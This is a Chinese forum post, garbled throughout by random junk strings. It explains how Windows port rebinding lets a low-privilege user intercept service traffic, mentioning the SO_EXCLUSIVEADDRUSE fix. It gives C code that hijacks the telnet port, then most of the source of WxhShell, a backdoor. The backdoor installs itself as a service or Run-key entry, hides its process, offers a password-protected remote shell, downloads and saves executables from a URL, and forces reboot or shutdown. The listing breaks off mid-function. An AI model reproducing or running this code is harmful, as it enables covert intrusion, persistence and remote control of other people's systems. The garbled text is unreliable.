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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =pC3~-;3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,9o"43D:a|  
dB5b@9*  
  saddr.sin_family = AF_INET; I}vmU^Y>  
x3"#POp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }x wu*Zx  
JC3m.)/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >L 0_dvr  
h^o{@/2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <z!CDg4  
[n$BRk|  
  这意味着什么?意味着可以进行如下的攻击: 6 M*O{f  
hHMN6i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 byfJy^8G  
?28N ^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r|qp3x  
*^wm1|5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [YcG(^^  
McQe1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1cD! :[  
2 FW \O0U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oczN5YSt  
`6xkf&Kt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `u&Zrdr,  
gjAIEI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ixT:)|'i  
EL9]QI  
  #include B,=H@[Fj  
  #include TBT:/Vfun  
  #include ={xE!"  
  #include    oT>(V]*5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Yn G_m]  
  int main() t>$kWd{9e;  
  { [a wjio  
  WORD wVersionRequested; %eO0w a$a  
  DWORD ret; ]3 l9:|  
  WSADATA wsaData; k>g _Z`%<  
  BOOL val; !GNBDRr  
  SOCKADDR_IN saddr; t8+X%-r  
  SOCKADDR_IN scaddr; ]@Uq=?%  
  int err; 0PrLuejz  
  SOCKET s; t?'!$6   
  SOCKET sc; Oz%>/zw[h  
  int caddsize; X'qU*Eo  
  HANDLE mt; jm Fz51  
  DWORD tid;   ftF@Wq1f  
  wVersionRequested = MAKEWORD( 2, 2 ); / :n#`o=;  
  err = WSAStartup( wVersionRequested, &wsaData ); ^*Yh@4\{JH  
  if ( err != 0 ) { ^kB8F"X  
  printf("error!WSAStartup failed!\n"); Evjj"h&0J  
  return -1; 7G>dTO  
  } R'@9]99  
  saddr.sin_family = AF_INET; #odIEC/  
   n4#;k=mA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n$ou- Q  
4s*ZS}] o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "*srx]  
  saddr.sin_port = htons(23); x}"uZ$g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?qWfup\S  
  { @6]sNm  
  printf("error!socket failed!\n"); L$E{ycn  
  return -1; 8Hn|cf0  
  } J.xPv)1'  
  val = TRUE; *=I}Qh(1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?I~()]k5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;k>&FWEG  
  { |~vI3]}fx  
  printf("error!setsockopt failed!\n"); .w8J*JZ  
  return -1; r 0iK  
  } wlqpn(XR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; esMX-.8Cx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 283F)T\Rv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s pp f  
~2QR{; XQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }%_ b$  
  { \}"$ ?d'f  
  ret=GetLastError(); 9|gr0&#~j  
  printf("error!bind failed!\n"); n4R(.N00  
  return -1; O#S;q5L@  
  } P n>Xbe  
  listen(s,2); )]H-BIuGm  
  while(1) r'HtZo$^R  
  { G#u6Am)T  
  caddsize = sizeof(scaddr); e3nYbWBy]  
  //接受连接请求 !FElW`F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [k;\SXDZo  
  if(sc!=INVALID_SOCKET) w"cZHm  
  { lY?QQ01D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ne[7gxpu  
  if(mt==NULL) < v@9#c  
  { F|e1"PkeoA  
  printf("Thread Creat Failed!\n"); J:V6  
  break; 5',8 ziJQ  
  } )W;o<:x3  
  } K,:cJ  
  CloseHandle(mt); ECrex>zr%  
  } uP~@U"!  
  closesocket(s); Vt".%d/`7  
  WSACleanup(); +~mA}psr  
  return 0; ~l]ve,W[  
  }   {pnS  Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3@M|m<_R$  
  { { + Zd*)M[  
  SOCKET ss = (SOCKET)lpParam; Pa V@aM~3  
  SOCKET sc; `\#B18eU  
  unsigned char buf[4096]; ZK@N5/H(  
  SOCKADDR_IN saddr; j/f?"VEr  
  long num; [d1mL JAR  
  DWORD val; &h^9}>rVjV  
  DWORD ret; 4'a=pnE$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p8h9Ng* &`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;; C?{  
  saddr.sin_family = AF_INET; d9;g]uj`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _lGdUt 2  
  saddr.sin_port = htons(23); |yQZt/*SOZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C1m]*}U  
  { I+[>I=ewa  
  printf("error!socket failed!\n"); T>2[=J8U  
  return -1; B"TAjB& *  
  } P(,p'I;j  
  val = 100; DVB{2~7 4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -ZRO@&tMD  
  { N343qU  
  ret = GetLastError(); Py@wJEo  
  return -1; OZ |IA:,}  
  } qUob?| ^   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2\jPv`Ia  
  { LWz&YF#T-  
  ret = GetLastError(); / zB0J?  
  return -1; =/y]d<g  
  } a1+#3X.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X[PZg{   
  { 2[ RoxKm  
  printf("error!socket connect failed!\n"); %.^_Ps0  
  closesocket(sc); T_@K& <  
  closesocket(ss); @` 1Ds  
  return -1; *E/`KUG]  
  } {=!b/l;@  
  while(1) QLEKsX7p>  
  { ktFhc3);!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k@f g(}6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OwH81#   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t<z`N-5*  
  num = recv(ss,buf,4096,0); c#Sa]n  
  if(num>0) q_g+Jf P-D  
  send(sc,buf,num,0); )4gJd? 8R  
  else if(num==0) 6@{(;~r  
  break; LcSX *MC  
  num = recv(sc,buf,4096,0); [y'f|XN  
  if(num>0) 723bkJw V  
  send(ss,buf,num,0); 3=FZ9>by  
  else if(num==0) snf~}:&   
  break; K;>9ZZtl  
  } v9w'!C)b  
  closesocket(ss); AX;8^6.F3  
  closesocket(sc); 0?\Zm)Q~(  
  return 0 ; im9G,e  
  } JEahGzO  
F+ ,~v-  
} z _  
========================================================== "$ Y_UJT7  
jkiFLtB@V  
下边附上一个代码,,WXhSHELL bx{$Y_L+p  
w)kNkD  
========================================================== dZ  rAn  
tD(7^GuR  
#include "stdafx.h" +cgSC5nR  
RrX[|GLSJ  
#include <stdio.h> 2ORNi,_I  
#include <string.h> \ 3wfwu.q  
#include <windows.h> 7\$qFF-y  
#include <winsock2.h> 75"f2;  
#include <winsvc.h> 3DiLk=\~  
#include <urlmon.h> \W1,F6&j  
R7$:@<:g  
#pragma comment (lib, "Ws2_32.lib") 9[b<5Llt  
#pragma comment (lib, "urlmon.lib") Q[vJqkgT  
wRcAX%n&  
#define MAX_USER   100 // 最大客户端连接数 CFzNwgv]z  
#define BUF_SOCK   200 // sock buffer Rz bj  
#define KEY_BUFF   255 // 输入 buffer s2'yY(u/  
q>$ev)W  
#define REBOOT     0   // 重启 Szq/hv=Q  
#define SHUTDOWN   1   // 关机 < Z{HX[y  
L;VoJf  
#define DEF_PORT   5000 // 监听端口 Cjqklb/  
iop2L51eJ  
#define REG_LEN     16   // 注册表键长度 kzn5M&f>  
#define SVC_LEN     80   // NT服务名长度 Vr6@> @SC  
S1p;nK  
// 从dll定义API cC=[Saatsf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3 Nreqq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 42e|LUZg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S M0~fAtE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W-x?:X<}  
\ e\?I9  
// wxhshell配置信息 {QcLu"?c  
struct WSCFG { gVq;m>\|F  
  int ws_port;         // 监听端口 4L ;% h  
  char ws_passstr[REG_LEN]; // 口令 WHsgjvh"  
  int ws_autoins;       // 安装标记, 1=yes 0=no  tBq nf v  
  char ws_regname[REG_LEN]; // 注册表键名 e,F1Xi #d  
  char ws_svcname[REG_LEN]; // 服务名 k9:{9wW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4}_j`d/8|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uw [<5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _LMM,!f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LR.Hh   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6+.uU[x@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 & -{DfNKc  
]h>_\9qO  
}; %\D)u8}  
 ud xZ0  
// default Wxhshell configuration ?no fUD.  
struct WSCFG wscfg={DEF_PORT, ? WF/|/  
    "xuhuanlingzhe", LJk@Vy <?  
    1, S4^vpY DeN  
    "Wxhshell", mL{B!Q  
    "Wxhshell", <(-= 'QA  
            "WxhShell Service", 7ePqmB<.  
    "Wrsky Windows CmdShell Service", 0vEoGgY0*:  
    "Please Input Your Password: ", vy0X_DPCr  
  1, l)Pu2!Ic  
  "http://www.wrsky.com/wxhshell.exe", 1<BX]-/tP  
  "Wxhshell.exe" CN#+U,NZV  
    }; lsNrAA%m  
{;N,t]>8M  
// 消息定义模块 ]l1\? I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a:"Uh**  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^* J2'X38I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S0~2{ G"v  
char *msg_ws_ext="\n\rExit."; =NnNN'}  
char *msg_ws_end="\n\rQuit."; m@"QDMHk.  
char *msg_ws_boot="\n\rReboot..."; #JgH}|&a$  
char *msg_ws_poff="\n\rShutdown..."; "} q@Y=  
char *msg_ws_down="\n\rSave to "; OK{quM5  
tSVc|j  
char *msg_ws_err="\n\rErr!"; h\5OrD@L  
char *msg_ws_ok="\n\rOK!"; k5D%y3|9  
(@%gS[]  
char ExeFile[MAX_PATH]; (d(hR0HKE  
int nUser = 0; PJ]];MQ  
HANDLE handles[MAX_USER]; ZAv,*5&<  
int OsIsNt; :YXX8|>  
AG!w4Ky`  
SERVICE_STATUS       serviceStatus; POdUV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }\HN&@  
* mOo@+89  
// 函数声明 eZ|%<Wpu  
int Install(void); aa>xIW,u  
int Uninstall(void); >#hO).`C  
int DownloadFile(char *sURL, SOCKET wsh); FN\E*@>X=  
int Boot(int flag); CjlKMbnBH  
void HideProc(void); h3bff#<K  
int GetOsVer(void); cW i}V  
int Wxhshell(SOCKET wsl); t?}zdI(4  
void TalkWithClient(void *cs); Min ^>  
int CmdShell(SOCKET sock); ebT:/wu,2  
int StartFromService(void); ?Cl%{2omO  
int StartWxhshell(LPSTR lpCmdLine); |K.mP4CKY  
2] zq#6ix  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AD1=[I3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9[G[$c  
x|mqL-Q f  
// 数据结构和表定义 <_3b1VhZ  
SERVICE_TABLE_ENTRY DispatchTable[] = |&FkksNAl\  
{ ]}U*_rM:  
{wscfg.ws_svcname, NTServiceMain}, 9?0^ap,T  
{NULL, NULL} *^f<W6xc  
}; +)y^ 'Qs  
{ jhr<  
// 自我安装 VY~yg*  
int Install(void) k 9L? +PD  
{ U@-^C"R  
  char svExeFile[MAX_PATH]; GH+r ?2<  
  HKEY key; g=;%  
  strcpy(svExeFile,ExeFile); |2abmuR0  
?,& tNP{jq  
// 如果是win9x系统,修改注册表设为自启动 w *oeK  
if(!OsIsNt) { B?4boF?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xL{a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >N]7IU[-  
  RegCloseKey(key); 95YL]3V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %] >KvoA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pgOQIzu  
  RegCloseKey(key); KO]T<R h<  
  return 0; eu(:`uu  
    } nHm}zOLc  
  } MFb9H{LA  
} ;~"FLQg@  
else { Wzw7tLY._  
,QcF|~n  
// 如果是NT以上系统,安装为系统服务 8>0e*jC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XzIl`eH  
if (schSCManager!=0) j#+!\ft5  
{ S,Xnzrz  
  SC_HANDLE schService = CreateService ?)u@Rf9>  
  ( dYL"h.x  
  schSCManager, (+B5|_xQu  
  wscfg.ws_svcname, <$X3Hye  
  wscfg.ws_svcdisp, R:#k%}W  
  SERVICE_ALL_ACCESS, :.$3vaZ@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O*0l+mop  
  SERVICE_AUTO_START, YhDtUt}?  
  SERVICE_ERROR_NORMAL, G&4&-<  
  svExeFile, sOU1n  
  NULL, !"\80LP  
  NULL, J[4mL U  
  NULL, K#pNe c  
  NULL, \=6l9Lrj>h  
  NULL |NpP2|4h  
  ); Zg'Q>.:  
  if (schService!=0) XDFx.)t  
  { y~F,0"N\r  
  CloseServiceHandle(schService); *XT/KxLa7  
  CloseServiceHandle(schSCManager); FQqI<6;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D^=J|7e  
  strcat(svExeFile,wscfg.ws_svcname); go'-5in(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mdl{}P0)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); maXG:l|  
  RegCloseKey(key); ;4.!H,d  
  return 0; T[j#M+p  
    } ZuS0DPS`L  
  } `NgAT 3zq  
  CloseServiceHandle(schSCManager); nv@8tdrc  
} ~c %hWt  
} hM{{\yZS  
U c@Ao:  
return 1; 4`!Z$kt  
} B2C$N0R#  
JV]^zW  
// 自我卸载 OH">b6>\  
int Uninstall(void) WJ4li@T7V  
{ /f|X(docI  
  HKEY key; [3{W^WSOz  
\lZf<f  
if(!OsIsNt) { bdQ_?S(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d` jjGEj  
  RegDeleteValue(key,wscfg.ws_regname); (]Y 5eM  
  RegCloseKey(key); m<j8cJ(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K95p>E`9e  
  RegDeleteValue(key,wscfg.ws_regname); ">y%iE  
  RegCloseKey(key); [Pq}p0cD  
  return 0; A?-oL='  
  } yIDD@j=l  
} J6L  K  
}  DX"xy  
else { i`dC G[  
w*oQ["SL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9983aFam  
if (schSCManager!=0) ?e,pN,4  
{ >h k=VyU;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e^<#53!  
  if (schService!=0) QA5Qwe L  
  { HN&Z2v   
  if(DeleteService(schService)!=0) { XqW@rU  
  CloseServiceHandle(schService); Aq0S-HKF  
  CloseServiceHandle(schSCManager); Gu2P\I2zx  
  return 0; }Ub6eXf(2  
  } XgLL!5`  
  CloseServiceHandle(schService); 1oN^HG6O  
  } ENGg ~D  
  CloseServiceHandle(schSCManager); V>A .iim  
} -Xxqm%([71  
} pXJpK@z  
n#wI@W >%+  
return 1; .zn;:M#T  
} ~~SwCXZ+b^  
;S57w1PbVA  
// 从指定url下载文件 &:, dJ  
int DownloadFile(char *sURL, SOCKET wsh) jF=gr$  
{ 1Dv R[Lx%  
  HRESULT hr; {`K m_<Te!  
char seps[]= "/"; QrYpZZ;  
char *token; * v75O7l  
char *file; {a4z2"\A  
char myURL[MAX_PATH]; )0Me?BRp  
char myFILE[MAX_PATH]; \ aHVs  
U2ZD]q  
strcpy(myURL,sURL); b#K:_ac5  
  token=strtok(myURL,seps); O'W0q;rT  
  while(token!=NULL) Yx eOI#L  
  { ~wJFa'2  
    file=token; IGtl\b=  
  token=strtok(NULL,seps); .h>8@5/s  
  } /)4I|"}R0I  
+TQ47Z c  
GetCurrentDirectory(MAX_PATH,myFILE); hA33K #bC  
strcat(myFILE, "\\"); *g[^.Sg  
strcat(myFILE, file); /Rg*~Ers *  
  send(wsh,myFILE,strlen(myFILE),0); .8P.)%  
send(wsh,"...",3,0); JvT"bZk( o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  }(1JaG  
  if(hr==S_OK) ~fT_8z  
return 0; pb$~b\s]=  
else qU#BJON]BR  
return 1; EpFQ|.mQ  
WC|.g,9#  
} gMaN)ESqd4  
ho0@ l  
// 系统电源模块 ^d~1E Er  
int Boot(int flag) Pri`K/  
{ 4Rvf  
  HANDLE hToken; #@"<:!?z  
  TOKEN_PRIVILEGES tkp; ;ByOth|9P  
/6h(6 *JI  
  if(OsIsNt) { CC@.MA@9N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?_Q/}@`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &9"-`-[e:  
    tkp.PrivilegeCount = 1; }b0; 0j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <_XWWT%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8`fjF/  
if(flag==REBOOT) { $`- 4Ax4%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =Q[b'*o7  
  return 0; Nqrmp" ]  
} 1f8GW  
else { hWT[L.>k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^1L>l9F  
  return 0; ])Qs{hs~s  
} |"9 #bU  
  } i}o[- S4  
  else { ]@0NO;bK>F  
if(flag==REBOOT) { :P@rkT3Qt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H)>;/#!r-  
  return 0; sH?/E6  
} FN%m0"/Z{t  
else { >B2q+tA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DNj "SF(J  
  return 0; WN_pd%m  
} TW9WMId  
} 'I /aboDB  
stk9Ah  
return 1; y;AL'vm9  
} H03jDM8Q  
&ZX{R#[L  
// win9x进程隐藏模块 %B)6$!x  
void HideProc(void) IrWD%/$H  
{ S-'fS2  
qq1-DG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |R#"Th6mH!  
  if ( hKernel != NULL ) n Ml%'[u  
  { mK [0L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0#YX=vjX7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $LLA,?;!  
    FreeLibrary(hKernel); ZU9c 5/J  
  } GR"Eas.$  
3RR_fmMT)  
return; =T7A]U]  
} %bD}m!  
*mMEl]+  
// 获取操作系统版本 = pzn u+,  
int GetOsVer(void) pKjoi{ Z  
{ wj1{M.EF\  
  OSVERSIONINFO winfo; DVkB$2]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XFh>U7z.  
  GetVersionEx(&winfo); DmBS0NyR7Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -p E(_  
  return 1; pOrWg@<\L  
  else Xe^Cn R  
  return 0; z8J."27ND  
} 3^Q]j^e4Ny  
^+1#[E  
// 客户端句柄模块 Q26qNn bK  
int Wxhshell(SOCKET wsl) LT,?$I  
{ F1Hh7 F  
  SOCKET wsh; N?m0US u*  
  struct sockaddr_in client; if]Noe  
  DWORD myID; 2"d!(J6}K  
u]ZqOJXxu  
  while(nUser<MAX_USER) KV*xApb9y  
{ }irn'`I  
  int nSize=sizeof(client); bC3 F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4ON_$FUe  
  if(wsh==INVALID_SOCKET) return 1; _%x4ty  
q9^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &k1T08C*  
if(handles[nUser]==0) >"@?ir  
  closesocket(wsh); ?*oKX  
else J-<^P5  
  nUser++; BkZV!Eg  
  } d|*"IFe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wV)}a5+  
\xUe/=  
  return 0; !!:LJ  
} wHem5E  
;kJu$U  
// 关闭 socket 2Gs$?}"a  
void CloseIt(SOCKET wsh) [*Z`Kc  
{ ,= &B28Qe)  
closesocket(wsh); IB`>'~s&A  
nUser--; "aFhkPdWn  
ExitThread(0); LsM7hLy  
} 6y5A"-  
thqS*I'#g  
// 客户端请求句柄 NKmoG\*  
void TalkWithClient(void *cs) &l?+3$q  
{ B<~U3b  
fof2 xcH!  
  SOCKET wsh=(SOCKET)cs; Ol')7d&  
  char pwd[SVC_LEN]; o1/lZm{\~n  
  char cmd[KEY_BUFF]; uyF|O/FC  
char chr[1]; :vL1}H<  
int i,j; 1H,g=Y4f%  
q,2]5 '  
  while (nUser < MAX_USER) { *E~VKx1  
5eA8niq#  
if(wscfg.ws_passstr) { u<n`x6gL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JNFIT;L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BvU"4d;x  
  //ZeroMemory(pwd,KEY_BUFF); j2P n<0U  
      i=0; 1'4J[S\cM  
  while(i<SVC_LEN) { =5s F"L;b  
k5&bq2)I  
  // 设置超时 \Yoa:|%*y  
  fd_set FdRead; sIl33kmv  
  struct timeval TimeOut; |Cdvfk  
  FD_ZERO(&FdRead); Kwhdu<6  
  FD_SET(wsh,&FdRead); {R^'=(YFy  
  TimeOut.tv_sec=8; sgr=w+",Q  
  TimeOut.tv_usec=0; %ObD2)s6:^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IAOcKQ3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  pAu72O?  
M- 0i7%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )=Q)BN[  
  pwd=chr[0]; +} mk>e/  
  if(chr[0]==0xd || chr[0]==0xa) { C`'W#xnp1  
  pwd=0; Se!)n;?7Sw  
  break; |fHB[ W#  
  } GyC/_ntn  
  i++; 8)VgS &B~  
    } w#^U45y1v  
.!}hhiF,Z  
  // 如果是非法用户,关闭 socket /i)Hb`(S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7rHS^8'H&  
} wVq\FY%  
GPWr>B.{:S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'ho{eR@d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g8'DoHJ*  
M3zDtN  
while(1) { |8)Xc=Hz  
I|/'Ds:  
  ZeroMemory(cmd,KEY_BUFF); @+_&Y]  
y)F!c29  
      // 自动支持客户端 telnet标准   Z7jX9e"L  
  j=0; o;[bJ Z\^x  
  while(j<KEY_BUFF) { [k]|Qi nk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nVD Xj  
  cmd[j]=chr[0]; Yn9j-`  
  if(chr[0]==0xa || chr[0]==0xd) { A.Bk/N1G  
  cmd[j]=0; ]Fb0Az  
  break; %TrF0{NR90  
  } $gMCR b,  
  j++; %So] 3;'  
    } P=H+ #  
o7+>G~i  
  // 下载文件 Q&M'=+T  
  if(strstr(cmd,"http://")) { /9Ilo\MdD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J`#` fX  
  if(DownloadFile(cmd,wsh)) 4B?!THjk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #\bP7a +  
  else NfE.N&vI_c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' 9J|=z9.  
  } Xev54!619  
  else { 4%*hGh=  
/!Z^Y  
    switch(cmd[0]) { sygH1|f  
  TD04/ ISHT  
  // 帮助 @<_`2eW'/R  
  case '?': { &C-;Sa4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q1>zg,r  
    break; <E':[.zC  
  } _ ^7|!(Sz  
  // 安装 LEh)g[  
  case 'i': { !k~z5z'=py  
    if(Install()) zzvlI66e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AV@\ +0  
    else G5Q!L;3HZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'nK~'PZ,  
    break; PdY>#Cyh  
    } ^ua12f  
  // 卸载 +zWrLf_Rc  
  case 'r': { @XOi62(  
    if(Uninstall()) ^Y^"'"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c!&Qj  
    else s0{ NsK>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !W1eUY  
    break; GH'O! }  
    } {TZE/A3D,  
  // 显示 wxhshell 所在路径 u9![6$R  
  case 'p': { Y~oT)wTU  
    char svExeFile[MAX_PATH]; Rq7p29w  
    strcpy(svExeFile,"\n\r"); W81o"TR|pt  
      strcat(svExeFile,ExeFile); .R5/8VuHF  
        send(wsh,svExeFile,strlen(svExeFile),0); /~}_hO$S  
    break; ZHy><=2  
    } ?gV'(3 !  
  // 重启 !=[uT+v  
  case 'b': { 7tH]*T9e>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {e]NU<G ,  
    if(Boot(REBOOT)) ,VD6s !(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <<3+g"enno  
    else { q|q:: q*  
    closesocket(wsh); = cfm=+  
    ExitThread(0); 0->/`/xm  
    } D6!tVdnVe  
    break; jXEGSn  
    } (Cj,\r  
  // 关机 6MrKi|'X@  
  case 'd': { |}qjqtZ  
